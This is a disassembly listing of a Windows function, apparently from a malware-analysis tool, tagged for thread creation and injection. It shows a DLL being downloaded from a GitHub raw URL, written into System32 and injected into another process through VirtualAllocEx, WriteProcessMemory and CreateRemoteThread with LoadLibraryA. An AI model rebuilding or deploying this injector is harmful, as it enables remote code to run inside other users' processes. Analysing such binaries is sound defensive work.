Function at 0x140058680
Capabilities:
Create thread
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x18], xmm6
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov ecx, 0x40
call fcn.1400bea1c
mov rcx, rax
mov qword [rbp + 0x27], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_60]
movdqu xmmword [rbp + 0x37], xmm0
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_ziitx_dll3_main_xsamv2.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dff28]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400dff38]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400dff48]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400dff50]
mov dword [rcx + 0x38], eax
mov byte [rcx + 0x3c], 0
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov rdx, rax
mov qword [rbp + 7], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_30]
movdqu xmmword [rbp + 0x17], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32xsamv2.dll]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dff68]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400dff70]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400dff74]
mov word [rdx + 0x1c], ax
mov byte [rdx + 0x1e], 0
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x27]
call fcn.140052760
test al, al
jne 0x140058882
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x49]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor ebx, ebx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x39], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x31], Ordinal_50
movups xmm0, xmmword [str.Failed_to_download_the_DLL_file.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfd80]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 5
mov qword [rbp - 0x11], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x29], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x25], al
mov byte [rbp - 0x24], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x29]
call fcn.14004aef0
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14005883d
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140058de0
call fcn.1400bed68
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140058878
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058873
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140058e1f
call fcn.1400bed68
mov eax, 1
jmp 0x140058e2b
call fcn.140052a50
mov edi, eax
xor ebx, ebx
test eax, eax
jne 0x140058941
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_find_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfdb8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dfdc0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140058a0d
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_open_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfdd8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dfde0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], dil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, Ordinal_32
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140058af1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_41
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_allocate_memory_in_the_process.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfdf8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400dfe08]
movsd qword [rax + 0x20], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x28], cl
mov byte [rax + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], sil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_32
lea r8, str.C:WindowsSystem32xsamv2.dll
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140058bd9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_35
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_write_to_process_memory.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfe28]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400dfe38]
mov word [rax + 0x20], cx
mov byte [rax + 0x22], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140058d02
lea rdx, str.Failed_to_create_remote_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140059fa0
lea rdx, [0x14005a180]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov rdx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_32
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_create_remote_thread.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfe70]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400dfe78]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400dfe7c]
mov word [rax + 0x1c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Charms_V2_Injected_Successfully.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dff90]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 5
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
mov eax, dword [str.SAM_X]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x1400dff7c]
mov byte [rbp - 0x45], al
mov byte [rbp - 0x44], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov edx, 0x20001
lea rcx, str.C:Windowsxactivar.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140058ded
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058de7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140058de7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bed68
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140058e2b
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058e26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140058e26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bed68
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret